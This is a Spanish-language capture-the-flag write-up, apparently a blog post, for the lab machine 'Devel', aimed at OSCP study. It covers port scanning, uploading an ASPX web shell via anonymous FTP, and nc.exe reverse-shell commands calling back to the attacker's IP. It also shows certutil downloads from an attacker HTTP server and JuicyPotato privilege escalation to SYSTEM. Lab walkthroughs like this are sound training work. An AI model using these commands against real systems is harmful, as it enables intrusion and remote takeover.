
Devel - Writeup
Devel es una máquina Windows sencilla para empezar a aprender conceptos como la escalada de privilegios en este sistema operativo. Esto es importante para certificaciones como la OSCPdonde se requiere que tengas el rol NT AUTHORITY\SYSTEM
para dar por concluida la máquina.
Reconocimiento Link to Reconocimiento
Empezaremos escaneando los puertos abiertos de la máquina Devel cuya IP es 10.10.10.5
con nmap.
1234567891011121314
sudo nmap -p- --open -sS --min-rate 5000 -Pn -n -v 10.10.10.5 -oG allPorts
Starting Nmap 7.93 ( https://nmap.org ) at 2024-12-26 11:32 CET
Initiating SYN Stealth Scan at 11:32
Scanning 10.10.10.5 [65535 ports]
Discovered open port 21/tcp on 10.10.10.5
Discovered open port 80/tcp on 10.10.10.5
Completed SYN Stealth Scan at 11:33, 26.79s elapsed (65535 total ports)
Nmap scan report for 10.10.10.5
Host is up (0.16s latency).
Not shown: 65533 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
Ahora enumeramos los servicios que corren en estos puertos:
123456789101112131415161718
sudo nmap -sCV -p21,80 10.10.10.5 -oN targeted
Nmap scan report for 10.10.10.5
Host is up (0.10s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 03-18-17 01:06AM <DIR> aspnet_client
| 03-17-17 04:37PM 689 iisstart.htm
|_03-17-17 04:37PM 184946 welcome.png
| ftp-syst:
|_ SYST: Windows_NT
80/tcp open http Microsoft IIS httpd 7.5
|_http-server-header: Microsoft-IIS/7.5
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: IIS7
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Como podemos observar, es una máquina Windows que tiene dos servicios: ftp en el puerto 21 y http en el puerto 80. Como aspecto a destacar, nmap nos reporta que el servicio ftp permite el login del usuario anonymous
.
Si probamos a loguearnos podemos ver que sigue la estructura que nos encontramos en el puerto 80 correspondiente a http ya que como nos dice nmap es un Microsoft IIS.
Si probamos a subir un archivo de prueba:
123456789101112131415161718192021222324
ftp 10.10.10.5 21
Connected to 10.10.10.5.
220 Microsoft FTP Service
Name (10.10.10.5:yatodev): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
03-18-17 01:06AM <DIR> aspnet_client
03-17-17 04:37PM 689 iisstart.htm
03-17-17 04:37PM 184946 welcome.png
226 Transfer complete.
ftp> put hola.txt
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
03-18-17 01:06AM <DIR> aspnet_client
03-17-17 04:37PM 689 iisstart.htm
03-17-17 04:37PM 184946 welcome.png
12-26-24 05:43PM 42 hola.txt
226 Transfer complete.
Si accedemos a http://10.10.10.5/hola.txt
podremos ver el contenido del archivo. Por lo tanto podemos intentar a subir un archivo .aspx
para obtener una reverse shell.
Explotación Link to Explotación
Si ejecutas locate .aspx | grep cmd
podrás encontrar algunas web shells preinstaladas en tu Kali Linux o ParrotOS. En mi caso usaré aspx_cmd.aspx
de el apartado de backdoors de davtest. Este mostrará un input para ejecutar comandos en la máquina víctima.
Una vez elegido el exploit, lo subiremos al servidor usando el servicio ftp.
Ahora compartiremos el recurso nc.exe
en un servidor smb para entablar una reverse shell para mayor comodidad:
123456789
sudo impacket-smbserver smbFolder $(pwd) -smb2support
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
Para encontrar el recurso nc.exe de tu Kali Linux o ParrosOS usa:
locate nc.exe
Y nos pondremos en escucha por un puerto para recibir la reverse shell:
1
sudo rlwrap nc -nlvp 443
Ahora accedemos a http://10.10.10.5/aspx_cmd.aspx
y ponemos el comando que usará este servidor de smb para usar el nc.exe
:
1
cmd /c \\10.10.14.9\smbFolder\nc.exe -e cmd 10.10.14.9 443
Cambiar la ip 10.10.14.9 por la que tengas como atacante.
Ahora estarás dentro de la máquina Windows en la consola donde te pusiste en escucha con el puerto 443.
Escalada de privilegios Link to Escalada de privilegios
Si vemos nuestros privilegios con whoami /priv
veremos que tenemos SetImpersonatePrivilege
. Esto quiere decir que es vulnerable a JuicyPotato.
En mi caso lo descargué desde ohpe/juicy-potato.
Ahora hay que transferir nc.exe
y JuicyPotato.exe
a la máquina víctima. Para ellos nos movemos a c:\windows\temp\privesc
para que no haya problemas de permisos.
Nos ponemos en escucha por el servicio http con python en la carpeta donde se encuentran los dos ejecutables:
1
sudo python3 -m http.server 80
Y los descargamos desde la máquina víctima con certutil.exe
:
12
certutil.exe -f -urlcache -split http://<ip_atacante>/nc.exe nc.exe
certutil.exe -f -urlcache -split http://<ip_atacante>/JuicyPotato.exe JuicyPotato.exe
Una vez con los ejecutables en la máquina víctima, nos ponemos en escucha en la máquina atacante para entablar otra reverse shell (en mi caso usaré el puerto 4321):
1
sudo rlwrap nc -nlvp 4321
Y ahora usamos el JuicyPotato.exe
en la máquina víctima:
1234567891011121314151617
JuicyPotato.exe -t * -l 1337 -p C:\Windows\System32\cmd.exe -a "/c C:\Windows\Temp\nc.exe -e cmd <ip atacante> 4321"
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
c:\Windows\Temp>JuicyPotato.exe -t * -l 1337 -p C:\Windows\System32\cmd.exe -a "/c C:\Windows\Temp\nc.exe -e cmd <ip atacante> 4321"
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
...........................................
c:\Windows\Temp>JuicyPotato.exe -t * -l 1337 -p C:\Windows\System32\cmd.exe -a "/c C:\Windows\Temp\nc.exe -e cmd <ip atacante> 4321"
JuicyPotato.exe -t * -l 1337 -p C:\Windows\System32\cmd.exe -a "/c C:\Windows\Temp\nc.exe -e cmd <ip atacante> 4321"
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM
Habiendo hecho esto, seremos NT AUTHORITY\SYSTEM
y podemos obtener la flag de user.txt
:
12345678910111213
C:\Users\babis\Desktop>dir
Directory of C:\Users\babis\Desktop
11/02/2022 03:54 �� <DIR> .
11/02/2022 03:54 �� <DIR> ..
26/12/2024 12:32 �� 34 user.txt
1 File(s) 34 bytes
2 Dir(s) 4.692.750.336 bytes free
C:\Users\babis\Desktop>type user.txt
type user.txt
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Y la flag de root.txt
:
12345678910111213
C:\Users\Administrator\Desktop>dir
Directory of C:\Users\Administrator\Desktop
14/01/2021 11:42 �� <DIR> .
14/01/2021 11:42 �� <DIR> ..
26/12/2024 12:32 �� 34 root.txt
1 File(s) 34 bytes
2 Dir(s) 4.692.750.336 bytes free
C:\Users\Administrator\Desktop>type root.txt
type root.txt
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Con esto concluye la máquina Devel. Si quieres más writeups de máquinas para la OSCP accede aquí: máquinas para la OSCP.
Devel - Writeup
© Gh3rmy | CC BY-SA 4.0